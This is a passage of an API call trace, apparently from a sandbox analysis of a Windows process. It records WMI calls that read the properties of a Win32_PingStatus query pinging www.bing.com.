plFlavor=0x285622c*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2856228*=8, plFlavor=0x285622c*=64) returned 0x0 [0138.499] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.499] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.499] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe76c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856274*=0, plFlavor=0x2856278*=0 | out: pVal=0x59fe76c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2856274*=8, plFlavor=0x2856278*=64) returned 0x0 [0138.500] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.500] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.500] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe7b0 | out: puCount=0x59fe7b0*=0x2) returned 0x0 [0138.500] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0x0, pszText=0x0 | out: puBuffLength=0x59fe7ac*=0xf, pszText=0x0) returned 0x0 [0138.500] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe7ac*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe7ac*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.500] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ResponseTime", lFlags=0, pVal=0x59fe7ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28564a8*=0, plFlavor=0x28564ac*=0 | out: pVal=0x59fe7ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), pType=0x28564a8*=19, plFlavor=0x28564ac*=0) returned 0x0 [0138.500] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="ResponseTime", lFlags=0, pVal=0x59fe860*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28564a8*=19, plFlavor=0x28564ac*=0 | out: pVal=0x59fe860*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x23, varVal2=0x0), pType=0x28564a8*=19, plFlavor=0x28564ac*=0) returned 0x0 [0138.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.501] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.501] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.501] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.501] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.501] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.504] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0138.504] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.504] SafeArrayGetDim (psa=0x5cea100) returned 0x1 [0138.504] SafeArrayGetLBound (in: psa=0x5cea100, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0138.504] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.504] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.504] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.504] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.504] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.504] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.504] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.504] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.504] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.504] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.504] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.504] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.504] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.504] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.504] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.504] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.504] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.504] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.504] SysStringByteLen (bstr="__PATH") returned 0xc [0138.505] SysStringByteLen (bstr="__PATH") returned 0xc [0138.505] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856960*=0, plFlavor=0x2856964*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2856960*=3, plFlavor=0x2856964*=64) returned 0x0 [0138.505] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856994*=0, plFlavor=0x2856998*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2856994*=8, plFlavor=0x2856998*=64) returned 0x0 [0138.505] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.505] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.505] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28569ec*=0, plFlavor=0x28569f0*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28569ec*=8, plFlavor=0x28569f0*=64) returned 0x0 [0138.505] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856a14*=0, plFlavor=0x2856a18*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2856a14*=8, plFlavor=0x2856a18*=64) returned 0x0 [0138.505] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.505] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.505] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856a6c*=0, plFlavor=0x2856a70*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2856a6c*=8, plFlavor=0x2856a70*=64) returned 0x0 [0138.506] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.506] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.506] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856c44*=0, plFlavor=0x2856c48*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x2856c44*=3, plFlavor=0x2856c48*=64) returned 0x0 [0138.506] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856c78*=0, plFlavor=0x2856c7c*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2856c78*=8200, plFlavor=0x2856c7c*=64) returned 0x0 [0138.506] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856cac*=0, plFlavor=0x2856cb0*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2856cac*=8, plFlavor=0x2856cb0*=64) returned 0x0 [0138.506] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.506] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.506] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856cf8*=0, plFlavor=0x2856cfc*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2856cf8*=8, plFlavor=0x2856cfc*=64) returned 0x0 [0138.506] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.507] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.507] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856d44*=0, plFlavor=0x2856d48*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2856d44*=8, plFlavor=0x2856d48*=64) returned 0x0 [0138.507] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.507] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.507] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8f0 | out: puCount=0x59fe8f0*=0x2) returned 0x0 [0138.507] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8ec*=0xf, pszText=0x0) returned 0x0 [0138.507] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8ec*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8ec*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.507] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="WriteErrorStream", lFlags=0, pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856f78*=0, plFlavor=0x2856f7c*=0 | out: pVal=0x59fe8ec*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2856f78*=0, plFlavor=0x2856f7c*=0) returned 0x80041002 [0138.507] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59fe8d0 | out: pperrinfo=0x59fe8d0*=0x0) returned 0x1 [0138.508] CoGetClassObject (in: rclsid=0x5cd3354*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59fe530 | out: ppv=0x59fe530*=0x5d09790) returned 0x0 [0138.509] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d09790, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59fe748 | out: ppvObject=0x59fe748*=0x0) returned 0x80004002 [0138.509] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5d09790, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe754 | out: ppvObject=0x59fe754*=0x5d097a0) returned 0x0 [0138.509] WbemStatusCodeText:IUnknown:Release (This=0x5d09790) returned 0x0 [0138.509] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe374 | out: ppvObject=0x59fe374*=0x5d097a0) returned 0x0 [0138.509] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59fe328 | out: ppvObject=0x59fe328*=0x0) returned 0x80004002 [0138.509] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097a0) returned 0x3 [0138.509] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59fdc84 | out: ppvObject=0x59fdc84*=0x0) returned 0x80004002 [0138.509] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59fdc34 | out: ppvObject=0x59fdc34*=0x0) returned 0x80004002 [0138.509] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fdc40 | out: ppvObject=0x59fdc40*=0x0) returned 0x80004002 [0138.509] CoGetContextToken (in: pToken=0x59fdca0 | out: pToken=0x59fdca0) returned 0x0 [0138.509] CoGetContextToken (in: pToken=0x59fe0b4 | out: pToken=0x59fe0b4) returned 0x0 [0138.509] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59fe134 | out: ppvObject=0x59fe134*=0x0) returned 0x80004002 [0138.509] WbemStatusCodeText:IUnknown:Release (This=0x5d097a0) returned 0x2 [0138.510] WbemStatusCodeText:IUnknown:Release (This=0x5d097a0) returned 0x1 [0138.510] CoGetContextToken (in: pToken=0x59fe734 | out: pToken=0x59fe734) returned 0x0 [0138.510] CoGetContextToken (in: pToken=0x59fe694 | out: pToken=0x59fe694) returned 0x0 [0138.510] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5d097a0, riid=0x59fe764*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59fe760 | out: ppvObject=0x59fe760*=0x5d097a0) returned 0x0 [0138.510] WbemStatusCodeText:IUnknown:AddRef (This=0x5d097a0) returned 0x3 [0138.510] WbemStatusCodeText:IUnknown:Release (This=0x5d097a0) returned 0x2 [0138.510] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5d097a0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59fe8c4 | out: MessageText=0x59fe8c4*="Not found ") returned 0x0 [0138.510] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.511] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.511] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.511] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe8b4 | out: puCount=0x59fe8b4*=0x2) returned 0x0 [0138.511] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0x0, pszText=0x0 | out: puBuffLength=0x59fe8b0*=0xf, pszText=0x0) returned 0x0 [0138.511] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe8b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe8b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.511] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe8bc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe8b0 | out: pNames=0x59fe8b0*="\x01ƀ\x04") returned 0x0 [0138.511] SafeArrayGetDim (psa=0x5cea190) returned 0x1 [0138.511] SafeArrayGetDim (psa=0x5cea190) returned 0x1 [0138.511] SafeArrayGetLBound (in: psa=0x5cea190, nDim=0x1, plLbound=0x59fe748 | out: plLbound=0x59fe748) returned 0x0 [0138.511] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.511] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.511] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.511] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.511] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.511] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.512] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.512] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.512] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.512] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.512] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.512] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.512] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.512] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.512] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.512] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.512] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.512] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.512] SysStringByteLen (bstr="__PATH") returned 0xc [0138.512] SysStringByteLen (bstr="__PATH") returned 0xc [0138.512] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857358*=0, plFlavor=0x285735c*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x2857358*=3, plFlavor=0x285735c*=64) returned 0x0 [0138.512] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285738c*=0, plFlavor=0x2857390*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285738c*=8, plFlavor=0x2857390*=64) returned 0x0 [0138.512] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.512] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.512] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28573e4*=0, plFlavor=0x28573e8*=0 | out: pVal=0x59fe8ac*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28573e4*=8, plFlavor=0x28573e8*=64) returned 0x0 [0138.513] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285740c*=0, plFlavor=0x2857410*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x285740c*=8, plFlavor=0x2857410*=64) returned 0x0 [0138.513] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.513] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.513] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857464*=0, plFlavor=0x2857468*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2857464*=8, plFlavor=0x2857468*=64) returned 0x0 [0138.513] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.513] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.513] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x285763c*=0, plFlavor=0x2857640*=0 | out: pVal=0x59fe8ac*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x285763c*=3, plFlavor=0x2857640*=64) returned 0x0 [0138.513] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2857670*=0, plFlavor=0x2857674*=0 | out: pVal=0x59fe8ac*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2857670*=8200, plFlavor=0x2857674*=64) returned 0x0 [0138.513] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe8ac*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28576a4*=0, plFlavor=0x28576a8*=0 | out: pVal=0x59fe8ac*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x28576a4*=8, plFlavor=0x28576a8*=64) returned 0x0 [0138.513] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.513] SysStringByteLen 